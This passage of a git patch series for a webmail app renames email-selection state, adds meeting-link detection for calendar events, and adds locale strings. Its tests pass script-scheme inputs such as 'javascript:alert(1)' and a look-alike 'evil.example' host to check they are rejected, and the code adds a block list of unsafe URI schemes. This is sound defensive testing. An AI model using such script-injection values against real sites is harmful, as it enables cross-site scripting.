); - const hasSelection = selectedEmailIds.size > 0; + const hasSelection = selectedEmailKeys.size > 0; const handleBatchMarkAsRead = async (read: boolean) => { if (!client || isProcessing) return; @@ -243,7 +243,7 @@ export function EmailList({ if (!client || isProcessing) return; setIsProcessing(true); try { - const emailIds = Array.from(selectedEmailIds); + const emailIds = Array.from(selectedEmailKeys); await batchUndoSpam(client, emailIds); const { toast } = await import('sonner'); toast.success(tSpam('toast_not_spam_batch', { count: emailIds.length })); @@ -266,8 +266,8 @@ export function EmailList({ ? t('permanent_delete_confirm_title') : t('batch_actions.delete_confirm_title'), message: isInTrash - ? t('permanent_delete_confirm_batch_message', { count: selectedEmailIds.size }) - : t('batch_actions.delete_confirm_message', { count: selectedEmailIds.size }), + ? t('permanent_delete_confirm_batch_message', { count: selectedEmailKeys.size }) + : t('batch_actions.delete_confirm_message', { count: selectedEmailKeys.size }), confirmText: isInTrash ? t('permanent_delete') : t('batch_actions.delete'), @@ -391,7 +391,7 @@ export function EmailList({
- {t('batch_actions.selected_messages', { count: selectedEmailIds.size })} + {t('batch_actions.selected_messages', { count: selectedEmailKeys.size })}
@@ -629,8 +629,8 @@ export function EmailList({ mailboxes={mailboxes} selectedMailbox={selectedMailbox} currentMailboxRole={effectiveMailboxRole} - isMultiSelect={selectedEmailIds.has(contextMenuEmail.id)} - selectedCount={selectedEmailIds.size} + isMultiSelect={selectedEmailKeys.has(contextMenuEmail.id)} + selectedCount={selectedEmailKeys.size} onReply={() => onReply?.(contextMenuEmail!)} onReplyAll={() => onReplyAll?.(contextMenuEmail!)} onForward={() => onForward?.(contextMenuEmail!)} @@ -660,7 +660,7 @@ export function EmailList({ onBatchMoveToMailbox={(mailboxId) => client && batchMoveToMailbox(client, mailboxId)} onBatchMarkAsSpam={async () => { if (client) { - const emailIds = Array.from(selectedEmailIds); + const emailIds = Array.from(selectedEmailKeys); try { await batchMarkAsSpam(client, emailIds); const { toast } = await import('sonner'); @@ -675,7 +675,7 @@ export function EmailList({ }} onBatchUndoSpam={async () => { if (client) { - const emailIds = Array.from(selectedEmailIds); + const emailIds = Array.from(selectedEmailKeys); try { await batchUndoSpam(client, emailIds); const { toast } = await import('sonner'); diff --git a/components/email/thread-email-item.tsx b/components/email/thread-email-item.tsx index 24c97d7e7..ca6b99aaf 100644 --- a/components/email/thread-email-item.tsx +++ b/components/email/thread-email-item.tsx @@ -45,9 +45,9 @@ export function ThreadEmailItem({ // header pools them, so without this they disappear on the way in. const tagIds = sortTagIds(getEmailTagIds(email.keywords)); const sender = email.from?.[0]; - const { selectedMailbox, selectedEmailIds, toggleEmailSelection, selectRangeEmails, clearSelection } = useEmailStore(); + const { selectedMailbox, selectedEmailKeys, toggleEmailSelection, selectRangeEmails, clearSelection } = useEmailStore(); const density = useSettingsStore((state) => state.density); - const isChecked = selectedEmailIds.has(email.id); + const isChecked = selectedEmailKeys.has(email.id); const { dragHandlers, isDragging } = useEmailDrag({ email, @@ -73,18 +73,18 @@ export function ThreadEmailItem({ const handleCheckboxClick = (e: React.MouseEvent) => { e.stopPropagation(); - toggleEmailSelection(email.id); + toggleEmailSelection(email); }; const handleClick = (e: React.MouseEvent) => { if (e.ctrlKey || e.metaKey) { e.preventDefault(); - toggleEmailSelection(email.id); + toggleEmailSelection(email); } else if (e.shiftKey) { e.preventDefault(); - selectRangeEmails(email.id); + selectRangeEmails(email); } else { - if (selectedEmailIds.size > 0) clearSelection(); + if (selectedEmailKeys.size > 0) clearSelection(); onClick?.(); } }; @@ -118,7 +118,7 @@ export function ThreadEmailItem({ >
{/* Checkbox - only visible when in selection mode */} - {selectedEmailIds.size > 0 && ( + {selectedEmailKeys.size > 0 && (
)} diff --git a/lib/__tests__/event-links.test.ts b/lib/__tests__/event-links.test.ts new file mode 100644 index 000000000..90df14caf --- /dev/null +++ b/lib/__tests__/event-links.test.ts @@ -0,0 +1,118 @@ +import { describe, it, expect } from 'vitest'; +import { + findMeetingLink, + isMeetingLabel, + locationAction, + mapsUrl, + meetingProviderOf, + primaryLocationName, + unwrapSafeLink, +} from '../event-links'; + +/** + * A Teams invitation fills LOCATION with "Microsoft Teams Meeting" and leaves + * the join URL in the description, next to help and dial-in links. The popover + * must still offer the join link, and a real address must open the maps. + */ + +const TEAMS_JOIN = 'https://teams.microsoft.com/l/meetup-join/19%3ameeting_NjQ5%40thread.v2/0?context=%7b%22Tid%22%3a%22abc%22%7d'; + +const TEAMS_DESCRIPTION = [ + '________________________________________________________________________________', + 'Réunion Microsoft Teams', + 'Rejoindre sur votre ordinateur, application mobile ou appareil de salle', + `Cliquez ici pour participer à la réunion<${TEAMS_JOIN}>`, + 'ID de la réunion : 319 560 123 45', + 'Code secret : CTYa9', + 'Télécharger Teams | Rejoindre sur le web', + 'En savoir plus | Options de réunion', +].join('\n'); + +describe('findMeetingLink', () => { + it('prefers the structured virtual location', () => { + expect(findMeetingLink({ + virtualLocations: { v: { uri: 'https://zoom.us/j/123' } }, + description: TEAMS_DESCRIPTION, + })).toEqual({ uri: 'https://zoom.us/j/123', provider: 'Zoom', derived: false }); + }); + + it('digs the Teams join URL out of the description, skipping help links', () => { + expect(findMeetingLink({ + locations: { l: { name: 'Réunion Microsoft Teams' } }, + description: TEAMS_DESCRIPTION, + })).toEqual({ uri: TEAMS_JOIN, provider: 'Teams', derived: true }); + }); + + it('recognises the short Teams, Meet and Zoom forms', () => { + expect(findMeetingLink({ description: 'Join: https://teams.microsoft.com/meet/31956012345?p=CTYa9' })?.provider).toBe('Teams'); + expect(findMeetingLink({ description: 'Meet: https://meet.google.com/abc-defg-hij.' })?.uri).toBe('https://meet.google.com/abc-defg-hij'); + expect(findMeetingLink({ description: 'https://us02web.zoom.us/j/8812345?pwd=xyz' })?.provider).toBe('Zoom'); + }); + + it('takes a meeting URL used as the location', () => { + expect(findMeetingLink({ locations: { l: { name: 'https://meet.jit.si/standup' } } })?.uri).toBe('https://meet.jit.si/standup'); + }); + + it('unwraps Outlook Safe Links', () => { + const wrapped = `https://eur01.safelinks.protection.outlook.com/?url=${encodeURIComponent(TEAMS_JOIN)}&data=05`; + expect(findMeetingLink({ description: `Join<${wrapped}>` })?.uri).toBe(TEAMS_JOIN); + }); + + it('ignores ordinary links', () => { + expect(findMeetingLink({ description: 'Agenda: https://docs.example.com/agenda https://aka.ms/JoinTeamsMeeting' })).toBeNull(); + expect(findMeetingLink({})).toBeNull(); + }); + + it('skips a virtual location that is not a web URL', () => { + expect(findMeetingLink({ + virtualLocations: { v: { uri: 'tel:+33123456789' } }, + description: 'https://meet.google.com/abc-defg-hij', + })?.provider).toBe('Google Meet'); + }); +}); + +describe('meetingProviderOf / unwrapSafeLink', () => { + it('rejects look-alike hosts', () => { + expect(meetingProviderOf('https://teams.microsoft.com.evil.example/l/meetup-join/x')).toBeNull(); + expect(meetingProviderOf('https://notzoom.us/j/1')).toBeNull(); + }); + + it('leaves non-wrapped URLs alone', () => { + expect(unwrapSafeLink('https://example.com/?url=https://x.y')).toBe('https://example.com/?url=https://x.y'); + }); +}); + +describe('locationAction', () => { + const meeting = { uri: TEAMS_JOIN, provider: 'Teams', derived: true }; + + it('searches the maps for a postal address', () => { + expect(locationAction('12 rue de la Paix, 75002 Paris', meeting)).toEqual({ kind: 'maps', query: '12 rue de la Paix, 75002 Paris' }); + }); + + it('joins the meeting when the location only names the service', () => { + expect(locationAction('Réunion Microsoft Teams', meeting)).toEqual({ kind: 'url', uri: TEAMS_JOIN }); + expect(locationAction('Microsoft Teams Meeting', null)).toEqual({ kind: 'maps', query: 'Microsoft Teams Meeting' }); + }); + + it('opens a URL location', () => { + expect(locationAction(' https://example.com/room ', null)).toEqual({ kind: 'url', uri: 'https://example.com/room' }); + }); + + it('keeps a numbered room as a place', () => { + expect(isMeetingLabel('Salle Teams 3')).toBe(false); + expect(isMeetingLabel('Zoom')).toBe(true); + }); +}); + +describe('mapsUrl', () => { + it('builds a Google Maps search, collapsing line breaks', () => { + expect(mapsUrl('12 rue de la Paix,\n75002 Paris')).toBe('https://www.google.com/maps/search/?api=1&query=12%20rue%20de%20la%20Paix%2C%2075002%20Paris'); + }); +}); + +describe('primaryLocationName', () => { + it('trims and drops blank names', () => { + expect(primaryLocationName({ locations: { a: { name: ' ' } } })).toBeUndefined(); + expect(primaryLocationName({ locations: { a: { name: ' Lyon ' } } })).toBe('Lyon'); + }); +}); diff --git a/lib/event-links.ts b/lib/event-links.ts new file mode 100644 index 000000000..c539414a9 --- /dev/null +++ b/lib/event-links.ts @@ -0,0 +1,144 @@ +/** + * What an event's place fields should do when tapped. + * + * Meeting invitations rarely fill `virtualLocations`: a Teams invite arrives + * with LOCATION set to "Microsoft Teams Meeting" and the join URL buried in + * the description, among dial-in numbers and help links. `findMeetingLink` + * digs it out so the popover can offer the meeting link without touching the + * event on the server (it is someone else's invitation). + * + * A physical address opens in the maps instead. + */ + +/** The place fields read here, loose enough for any event shape. */ +export interface EventPlaces { + locations?: Record | null; + virtualLocations?: Record | null; + description?: string | null; +} + +export interface MeetingLink { + uri: string; + /** Display name of the conferencing service, when recognised. */ + provider?: string; + /** True when the link was found in the description, not a structured field. */ + derived: boolean; +} + +// Hosts whose URLs are joinable meetings. The path test keeps help pages, +// "learn more" and dial-in links on the same host out of the result. +const PROVIDERS: Array<{ name: string; host: RegExp; path?: RegExp }> = [ + { name: 'Teams', host: /^teams\.(microsoft|live)\.com$/, path: /^\/(l\/meetup-join|meet)\//i }, + { name: 'Zoom', host: /(^|\.)zoom\.us$/, path: /^\/(j|w|my|s)\//i }, + { name: 'Google Meet', host: /^meet\.google\.com$/, path: /^\/[a-z]{3}-[a-z]{4}-[a-z]{3}/i }, + { name: 'Webex', host: /(^|\.)webex\.com$/, path: /^\/(meet|join|[^/]+\/j\.php)/i }, + { name: 'Jitsi', host: /^meet\.jit\.si$/, path: /^\/./ }, + { name: 'Whereby', host: /^whereby\.com$/, path: /^\/./ }, + { name: 'GoTo', host: /^(meet\.goto\.com|global\.gotomeeting\.com|app\.gotomeeting\.com)$/, path: /^\/./ }, + { name: 'Visio', host: /^(visio|webconf)\.numerique\.gouv\.fr$/, path: /^\/./ }, +]; + +const URL_RE = /https?:\/\/[^\s<>"']+/g; + +const isHttpUrl = (value: string | undefined | null): value is string => + !!value && /^https?:\/\/\S+$/i.test(value.trim()); + +/** + * Outlook's Safe Links and similar gateways wrap the real URL in a query + * parameter; unwrap one level so the provider can be recognised. + */ +export function unwrapSafeLink(uri: string): string { + try { + const u = new URL(uri); + if (/(^|\.)safelinks\.protection\.outlook\.com$/i.test(u.hostname)) { + const inner = u.searchParams.get('url'); + if (inner && isHttpUrl(inner)) return inner; + } + } catch { + // not a parseable URL - keep as is + } + return uri; +} + +/** The conferencing service a URL joins, or null for any other link. */ +export function meetingProviderOf(uri: string): string | null { + let u: URL; + try { + u = new URL(unwrapSafeLink(uri)); + } catch { + return null; + } + const host = u.hostname.toLowerCase(); + const provider = PROVIDERS.find((p) => p.host.test(host) && (!p.path || p.path.test(u.pathname))); + return provider ? provider.name : null; +} + +function firstMeetingUrl(text: string | undefined | null): MeetingLink | null { + if (!text) return null; + for (const raw of text.match(URL_RE) ?? []) { + // Trailing punctuation belongs to the sentence, not the URL. + const candidate = unwrapSafeLink(raw.replace(/[).,;:!?\]]+$/, '')); + const provider = meetingProviderOf(candidate); + if (provider) return { uri: candidate, provider, derived: true }; + } + return null; +} + +/** + * The link that joins the meeting: the event's own virtual location first, + * then a URL used as the location, then a known conferencing URL found in the + * location or the description. + */ +export function findMeetingLink(event: EventPlaces): MeetingLink | null { + for (const vl of Object.values(event.virtualLocations ?? {})) { + const uri = vl?.uri; + if (isHttpUrl(uri)) { + return { uri: uri.trim(), provider: meetingProviderOf(uri) ?? undefined, derived: false }; + } + } + const locations = Object.values(event.locations ?? {}); + for (const loc of locations) { + const found = firstMeetingUrl(loc?.name) ?? firstMeetingUrl(loc?.description); + if (found) return found; + } + return firstMeetingUrl(event.description); +} + +/** The first location's display name, if any. */ +export function primaryLocationName(event: Pick): string | undefined { + const name = Object.values(event.locations ?? {})[0]?.name?.trim(); + return name || undefined; +} + +// "Microsoft Teams Meeting", "Réunion Microsoft Teams", "Zoom", "Google Meet"… +// A location like this names the service, not a place: tapping it should join +// the meeting, never search the maps for it. +const MEETING_LABEL_RE = /\b(microsoft teams|teams|zoom|google meet|webex|jitsi|whereby|gotomeeting|visio(conf[ée]rence)?|online|en ligne)\b/i; + +export function isMeetingLabel(location: string): boolean { + return MEETING_LABEL_RE.test(location) && !/\d/.test(location); +} + +export type LocationAction = + | { kind: 'url'; uri: string } + | { kind: 'maps'; query: string }; + +/** + * What tapping the location does: open it when it is a URL, join the meeting + * when it only names the service, search the maps otherwise. + */ +export function locationAction(location: string, meeting: MeetingLink | null): LocationAction { + const value = location.trim(); + if (isHttpUrl(value)) return { kind: 'url', uri: value }; + if (meeting && isMeetingLabel(value)) return { kind: 'url', uri: meeting.uri }; + return { kind: 'maps', query: value }; +} + +/** + * A maps URL for a free-text address. The Google Maps universal link opens + * the Maps app on a phone when it is installed, the site otherwise. + */ +export function mapsUrl(query: string): string { + const q = encodeURIComponent(query.replace(/\s+/g, ' ').trim()); + return `https://www.google.com/maps/search/?api=1&query=${q}`; +} diff --git a/locales/ar/common.json b/locales/ar/common.json index beb8ce1d2..25f30a459 100644 --- a/locales/ar/common.json +++ b/locales/ar/common.json @@ -2825,6 +2825,7 @@ "save_note": "حفظ", "note_saved": "تمت إضافة الملاحظة", "open_link": "فتح الرابط", + "copy_location": "نسخ الموقع", "meeting_link": "رابط الاجتماع", "tentative": "مبدئي", "cancelled": "ملغى", diff --git a/locales/ca/common.json b/locales/ca/common.json index 473d564ce..0ca4bdbd2 100644 --- a/locales/ca/common.json +++ b/locales/ca/common.json @@ -2825,6 +2825,7 @@ "save_note": "Desa", "note_saved": "Nota afegida", "open_link": "Obre l'enllaç", + "copy_location": "Copia la ubicació", "meeting_link": "Enllaç de la reunió", "tentative": "Provisional", "cancelled": "Cancel·lat", diff --git a/locales/cs/common.json b/locales/cs/common.json index d56568d41..b6c3ec0a4 100644 --- a/locales/cs/common.json +++ b/locales/cs/common.json @@ -2825,6 +2825,7 @@ "save_note": "Uložit", "note_saved": "Poznámka přidána", "open_link": "Otevřít odkaz", + "copy_location": "Kopírovat místo", "meeting_link": "Odkaz na schůzku", "tentative": "Nezávazně", "cancelled": "Zrušeno", diff --git a/locales/da/common.json b/locales/da/common.json index eb1c70afd..5e58b49a4 100644 --- a/locales/da/common.json +++ b/locales/da/common.json @@ -2825,6 +2825,7 @@ "save_note": "Gem", "note_saved": "Note tilføjet", "open_link": "Åbn link", + "copy_location": "Kopiér sted", "meeting_link": "Mødelink", "tentative": "Foreløbig", "cancelled": "Aflyst", diff --git a/locales/de/common.json b/locales/de/common.json index f60f704d9..d8aac43a5 100644 --- a/locales/de/common.json +++ b/locales/de/common.json @@ -2825,6 +2825,7 @@ "save_note": "Speichern", "note_saved": "Notiz hinzugefügt", "open_link": "Link öffnen", + "copy_location": "Ort kopieren", "meeting_link": "Besprechungslink", "tentative": "Vorläufig", "cancelled": "Abgesagt", diff --git a/locales/en/common.json b/locales/en/common.json index fd6b0748f..e18ecb915 100644 --- a/locales/en/common.json +++ b/locales/en/common.json @@ -2825,6 +2825,7 @@ "save_note": "Save", "note_saved": "Note added", "open_link": "Open link", + "copy_location": "Copy location", "meeting_link": "Meeting link", "tentative": "Tentative", "cancelled": "Cancelled", diff --git a/locales/es/common.json b/locales/es/common.json index 68ab42dc8..861a14e9f 100644 --- a/locales/es/common.json +++ b/locales/es/common.json @@ -2825,6 +2825,7 @@ "save_note": "Guardar", "note_saved": "Nota añadida", "open_link": "Abrir enlace", + "copy_location": "Copiar ubicación", "meeting_link": "Enlace de reunión", "tentative": "Provisional", "cancelled": "Cancelado", diff --git a/locales/fa/common.json b/locales/fa/common.json index 234cf81dd..42b28797e 100644 --- a/locales/fa/common.json +++ b/locales/fa/common.json @@ -2825,6 +2825,7 @@ "save_note": "ذخیره", "note_saved": "یادداشت اضافه شد", "open_link": "باز کردن لینک", + "copy_location": "کپی مکان", "meeting_link": "لینک جلسه", "tentative": "احتمالی", "cancelled": "لغو شده", diff --git a/locales/fr/common.json b/locales/fr/common.json index 95310d185..dc2adcb69 100644 --- a/locales/fr/common.json +++ b/locales/fr/common.json @@ -2825,6 +2825,7 @@ "save_note": "Enregistrer", "note_saved": "Note ajoutée", "open_link": "Ouvrir le lien", + "copy_location": "Copier le lieu", "meeting_link": "Lien de réunion", "tentative": "Provisoire", "cancelled": "Annulé", diff --git a/locales/he/common.json b/locales/he/common.json index 0897f879b..21f2a5190 100644 --- a/locales/he/common.json +++ b/locales/he/common.json @@ -2749,6 +2749,7 @@ "save_note": "שמור", "note_saved": "הערה נוספה", "open_link": "פתח קישור", + "copy_location": "העתק מיקום", "meeting_link": "קישור לפגישה", "tentative": "טנטטיבי", "cancelled": "בוטל", diff --git a/locales/hu/common.json b/locales/hu/common.json index 7e71f32d5..a264bfdde 100644 --- a/locales/hu/common.json +++ b/locales/hu/common.json @@ -2825,6 +2825,7 @@ "save_note": "Mentés", "note_saved": "Megjegyzés hozzáadva", "open_link": "Link megnyitása", + "copy_location": "Helyszín másolása", "meeting_link": "Találkozó link", "tentative": "Előzetes", "cancelled": "Lemondva", diff --git a/locales/it/common.json b/locales/it/common.json index 1e337883c..76155fff0 100644 --- a/locales/it/common.json +++ b/locales/it/common.json @@ -2825,6 +2825,7 @@ "save_note": "Salva", "note_saved": "Nota aggiunta", "open_link": "Apri link", + "copy_location": "Copia luogo", "meeting_link": "Link riunione", "tentative": "Provvisorio", "cancelled": "Annullato", diff --git a/locales/ja/common.json b/locales/ja/common.json index 3675f2deb..3993c193a 100644 --- a/locales/ja/common.json +++ b/locales/ja/common.json @@ -2825,6 +2825,7 @@ "save_note": "保存", "note_saved": "メモを追加しました", "open_link": "リンクを開く", + "copy_location": "場所をコピー", "meeting_link": "会議リンク", "tentative": "仮", "cancelled": "キャンセル済み", diff --git a/locales/ko/common.json b/locales/ko/common.json index 6e1295922..277d4a6b0 100644 --- a/locales/ko/common.json +++ b/locales/ko/common.json @@ -2825,6 +2825,7 @@ "save_note": "저장", "note_saved": "메모가 추가되었어요", "open_link": "링크 열기", + "copy_location": "위치 복사", "meeting_link": "화상 회의 링크", "tentative": "미정", "cancelled": "취소됨", diff --git a/locales/lv/common.json b/locales/lv/common.json index 9166d4894..68a09fcdc 100644 --- a/locales/lv/common.json +++ b/locales/lv/common.json @@ -2824,6 +2824,7 @@ "save_note": "Saglabāt", "note_saved": "Piezīme pievienota", "open_link": "Atvērt saiti", + "copy_location": "Kopēt vietu", "meeting_link": "Sapulces saite", "tentative": "Pagaidām", "cancelled": "Atcelts", diff --git a/locales/mn/common.json b/locales/mn/common.json index 7bd45981f..9dbcc99d5 100644 --- a/locales/mn/common.json +++ b/locales/mn/common.json @@ -2825,6 +2825,7 @@ "save_note": "Хадгалах", "note_saved": "Тэмдэглэл нэмсэн", "open_link": "Нээлттэй холбоос", + "copy_location": "Байршлыг хуулах", "meeting_link": "Уулзалтын холбоос", "tentative": "Урьдчилсан", "cancelled": "Цуцлагдсан", diff --git a/locales/nb/common.json b/locales/nb/common.json index cb379e3e7..92f8334da 100644 --- a/locales/nb/common.json +++ b/locales/nb/common.json @@ -2825,6 +2825,7 @@ "save_note": "Lagre", "note_saved": "Notatet er lagret", "open_link": "Åpne lenken", + "copy_location": "Kopier sted", "meeting_link": "Møtelenke", "tentative": "Foreløpig", "cancelled": "Avlyst", diff --git a/locales/nl/common.json b/locales/nl/common.json index 710d595f9..cc47b3835 100644 --- a/locales/nl/common.json +++ b/locales/nl/common.json @@ -2825,6 +2825,7 @@ "save_note": "Opslaan", "note_saved": "Notitie toegevoegd", "open_link": "Link openen", + "copy_location": "Locatie kopiëren", "meeting_link": "Vergaderlink", "tentative": "Voorlopig", "cancelled": "Geannuleerd", diff --git a/locales/pl/common.json b/locales/pl/common.json index 824f2508a..60bb7adb1 100644 --- a/locales/pl/common.json +++ b/locales/pl/common.json @@ -2825,6 +2825,7 @@ "save_note": "Zapisz", "note_saved": "Dodano notatkę", "open_link": "Otwórz link", + "copy_location": "Kopiuj lokalizację", "meeting_link": "Link do spotkania", "tentative": "Wstępnie", "cancelled": "Odwołane", diff --git a/locales/pt/common.json b/locales/pt/common.json index 7643b23df..b3dc6ba6e 100644 --- a/locales/pt/common.json +++ b/locales/pt/common.json @@ -2825,6 +2825,7 @@ "save_note": "Salvar", "note_saved": "Nota adicionada", "open_link": "Abrir link", + "copy_location": "Copiar local", "meeting_link": "Link da reunião", "tentative": "Provisório", "cancelled": "Cancelado", diff --git a/locales/ro/common.json b/locales/ro/common.json index edcc46676..065abeb8a 100644 --- a/locales/ro/common.json +++ b/locales/ro/common.json @@ -2825,6 +2825,7 @@ "save_note": "Salvare", "note_saved": "Notă adăugată", "open_link": "Deschideți linkul", + "copy_location": "Copiază locația", "meeting_link": "Link către întâlnire", "tentative": "Provizoriu", "cancelled": "Anulat", diff --git a/locales/ru/common.json b/locales/ru/common.json index 8cb74803a..dd5ce2a38 100644 --- a/locales/ru/common.json +++ b/locales/ru/common.json @@ -2825,6 +2825,7 @@ "save_note": "Сохранить", "note_saved": "Заметка добавлена", "open_link": "Открыть ссылку", + "copy_location": "Копировать место", "meeting_link": "Ссылка на встречу", "tentative": "Предварительно", "cancelled": "Отменено", diff --git a/locales/sk/common.json b/locales/sk/common.json index 31ca9f633..481092b04 100644 --- a/locales/sk/common.json +++ b/locales/sk/common.json @@ -2825,6 +2825,7 @@ "save_note": "Uložiť", "note_saved": "Poznámka pridaná", "open_link": "Otvoriť odkaz", + "copy_location": "Kopírovať miesto", "meeting_link": "Odkaz na stretnutie", "tentative": "Nezáväzne", "cancelled": "Zrušené", diff --git a/locales/tr/common.json b/locales/tr/common.json index d69b6f487..a96ad17a0 100644 --- a/locales/tr/common.json +++ b/locales/tr/common.json @@ -2825,6 +2825,7 @@ "save_note": "Kaydet", "note_saved": "Not eklendi", "open_link": "Bağlantıyı aç", + "copy_location": "Konumu kopyala", "meeting_link": "Toplantı bağlantısı", "tentative": "Geçici", "cancelled": "İptal edildi", diff --git a/locales/uk/common.json b/locales/uk/common.json index 335d9b084..e97353361 100644 --- a/locales/uk/common.json +++ b/locales/uk/common.json @@ -2825,6 +2825,7 @@ "save_note": "зберегти", "note_saved": "Примітка додана", "open_link": "Відкрити посилання", + "copy_location": "Копіювати місце", "meeting_link": "Посилання на зустріч", "tentative": "Орієнтовний", "cancelled": "Скасовано", diff --git a/locales/zh-TW/common.json b/locales/zh-TW/common.json index 4b4d98001..10d25a9aa 100644 --- a/locales/zh-TW/common.json +++ b/locales/zh-TW/common.json @@ -2825,6 +2825,7 @@ "save_note": "儲存", "note_saved": "已新增備註", "open_link": "開啟連結", + "copy_location": "複製地點", "meeting_link": "會議連結", "tentative": "暫定", "cancelled": "已取消", diff --git a/locales/zh/common.json b/locales/zh/common.json index bd387bb01..668711288 100644 --- a/locales/zh/common.json +++ b/locales/zh/common.json @@ -2825,6 +2825,7 @@ "save_note": "保存", "note_saved": "注释已添加", "open_link": "打开链接", + "copy_location": "复制地点", "meeting_link": "会议链接", "tentative": "暂定", "cancelled": "已取消", From 8eaaa4edd813480f294eedf7e20b4a229afb0673 Mon Sep 17 00:00:00 2001 From: lucletoffe <15689941+lucletoffe@users.noreply.github.com> Date: Thu, 24 Sep 2026 10:00:01 +0200 Subject: [PATCH 011/358] fix(calendar): keep app-scheme meeting links and match service labels exactly A virtual location in an app scheme (msteams:, zoommtg:) is kept as a last resort instead of hiding the meeting link; script schemes never reach the href. A location only joins the meeting when the whole label is a service name, so "Salle Teams" still opens the maps. Recognise Zoom's /wc/ join path, and clear the copy-feedback timer on unmount. Co-Authored-By: Claude Opus 5.5 --- components/calendar/event-detail-popover.tsx | 7 ++++- lib/__tests__/event-links.test.ts | 21 +++++++++++-- lib/event-links.ts | 33 +++++++++++++++++--- 3 files changed, 52 insertions(+), 9 deletions(-) diff --git a/components/calendar/event-detail-popover.tsx b/components/calendar/event-detail-popover.tsx index 0e7ac01f0..98d08e4c7 100644 --- a/components/calendar/event-detail-popover.tsx +++ b/components/calendar/event-detail-popover.tsx @@ -165,12 +165,17 @@ export function EventDetailPopover({ return action.kind === "url" ? action.uri : mapsUrl(action.query); }, [locationName, meeting]); const [locationCopied, setLocationCopied] = useState(false); + const copiedTimer = useRef | null>(null); + useEffect(() => () => { + if (copiedTimer.current) clearTimeout(copiedTimer.current); + }, []); const copyLocation = useCallback(async () => { if (!locationName) return; try { await navigator.clipboard.writeText(locationName); setLocationCopied(true); - setTimeout(() => setLocationCopied(false), 1500); + if (copiedTimer.current) clearTimeout(copiedTimer.current); + copiedTimer.current = setTimeout(() => setLocationCopied(false), 1500); } catch { // clipboard refused (insecure context or permission) - nothing to do } diff --git a/lib/__tests__/event-links.test.ts b/lib/__tests__/event-links.test.ts index 90df14caf..fba4eb554 100644 --- a/lib/__tests__/event-links.test.ts +++ b/lib/__tests__/event-links.test.ts @@ -63,6 +63,17 @@ describe('findMeetingLink', () => { expect(findMeetingLink({})).toBeNull(); }); + it('falls back to an app-scheme virtual location, never a script one', () => { + expect(findMeetingLink({ virtualLocations: { v: { uri: 'msteams:/l/meetup-join/19%3a1' } } })) + .toEqual({ uri: 'msteams:/l/meetup-join/19%3a1', derived: false }); + expect(findMeetingLink({ virtualLocations: { v: { uri: 'javascript:alert(1)' } } })).toBeNull(); + expect(findMeetingLink({ virtualLocations: { v: { uri: 'data:text/html,x' } } })).toBeNull(); + }); + + it('recognises the Zoom web-client join path', () => { + expect(findMeetingLink({ description: 'https://acme.zoom.us/wc/join/8812345?pwd=x' })?.provider).toBe('Zoom'); + }); + it('skips a virtual location that is not a web URL', () => { expect(findMeetingLink({ virtualLocations: { v: { uri: 'tel:+33123456789' } }, @@ -98,9 +109,13 @@ describe('locationAction', () => { expect(locationAction(' https://example.com/room ', null)).toEqual({ kind: 'url', uri: 'https://example.com/room' }); }); - it('keeps a numbered room as a place', () => { - expect(isMeetingLabel('Salle Teams 3')).toBe(false); - expect(isMeetingLabel('Zoom')).toBe(true); + it('only treats a bare service name as a meeting', () => { + for (const label of ['Zoom', 'Réunion Microsoft Teams', 'Microsoft Teams Meeting', 'Google Meet', 'En ligne', 'Visioconférence']) { + expect(isMeetingLabel(label)).toBe(true); + } + for (const label of ['Salle Teams 3', 'Salle Teams', 'Studio Zoom', 'Salle Visio', 'Café en ligne droite, Paris']) { + expect(isMeetingLabel(label)).toBe(false); + } }); }); diff --git a/lib/event-links.ts b/lib/event-links.ts index c539414a9..8c350c37d 100644 --- a/lib/event-links.ts +++ b/lib/event-links.ts @@ -29,7 +29,7 @@ export interface MeetingLink { // "learn more" and dial-in links on the same host out of the result. const PROVIDERS: Array<{ name: string; host: RegExp; path?: RegExp }> = [ { name: 'Teams', host: /^teams\.(microsoft|live)\.com$/, path: /^\/(l\/meetup-join|meet)\//i }, - { name: 'Zoom', host: /(^|\.)zoom\.us$/, path: /^\/(j|w|my|s)\//i }, + { name: 'Zoom', host: /(^|\.)zoom\.us$/, path: /^\/(j|w|wc|my|s)\//i }, { name: 'Google Meet', host: /^meet\.google\.com$/, path: /^\/[a-z]{3}-[a-z]{4}-[a-z]{3}/i }, { name: 'Webex', host: /(^|\.)webex\.com$/, path: /^\/(meet|join|[^/]+\/j\.php)/i }, { name: 'Jitsi', host: /^meet\.jit\.si$/, path: /^\/./ }, @@ -38,6 +38,8 @@ const PROVIDERS: Array<{ name: string; host: RegExp; path?: RegExp }> = [ { name: 'Visio', host: /^(visio|webconf)\.numerique\.gouv\.fr$/, path: /^\/./ }, ]; +const UNSAFE_SCHEMES = new Set(['javascript', 'data', 'vbscript', 'file', 'blob', 'about']); + const URL_RE = /https?:\/\/[^\s<>"']+/g; const isHttpUrl = (value: string | undefined | null): value is string => @@ -101,7 +103,16 @@ export function findMeetingLink(event: EventPlaces): MeetingLink | null { const found = firstMeetingUrl(loc?.name) ?? firstMeetingUrl(loc?.description); if (found) return found; } - return firstMeetingUrl(event.description); + const inDescription = firstMeetingUrl(event.description); + if (inDescription) return inDescription; + // Last resort: a virtual location in an app scheme (msteams:, zoommtg:, + // sip:…) still beats no link at all. Never a scheme that runs code. + for (const vl of Object.values(event.virtualLocations ?? {})) { + const uri = vl?.uri?.trim(); + const scheme = uri ? /^([a-z][a-z0-9+.-]*):/i.exec(uri)?.[1].toLowerCase() : undefined; + if (uri && scheme && !UNSAFE_SCHEMES.has(scheme)) return { uri, derived: false }; + } + return null; } /** The first location's display name, if any. */ @@ -112,11 +123,23 @@ export function primaryLocationName(event: Pick): stri // "Microsoft Teams Meeting", "Réunion Microsoft Teams", "Zoom", "Google Meet"… // A location like this names the service, not a place: tapping it should join -// the meeting, never search the maps for it. -const MEETING_LABEL_RE = /\b(microsoft teams|teams|zoom|google meet|webex|jitsi|whereby|gotomeeting|visio(conf[ée]rence)?|online|en ligne)\b/i; +// the meeting, never search the maps for it. The whole label must be a service +// name, so "Salle Teams" or "Studio Zoom" stay places. +const MEETING_LABELS = new Set([ + 'microsoft teams', 'teams', 'zoom', 'google meet', 'meet', 'webex', 'jitsi', 'whereby', + 'gotomeeting', 'goto', 'visio', 'visioconference', 'online', 'en ligne', +]); export function isMeetingLabel(location: string): boolean { - return MEETING_LABEL_RE.test(location) && !/\d/.test(location); + const label = location + .normalize('NFD').replace(/[\u0300-\u036f]/g, '') + .toLowerCase() + .replace(/[^a-z ]+/g, ' ') + .replace(/\s+/g, ' ') + .trim() + .replace(/^(reunion|meeting|online meeting|appel|call) /, '') + .replace(/ 